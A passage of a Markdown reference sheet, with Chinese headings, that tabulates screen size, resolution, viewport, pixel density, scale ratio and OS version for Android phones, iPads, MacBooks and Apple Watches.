| Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 |
|
||||
| Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 |
|
||||
| Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 |
|
||||
| Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 |
|
||||
| Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 平板
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 |
|
||||
| Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 笔记本电脑
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan |
|
||||
| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 智能手表
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
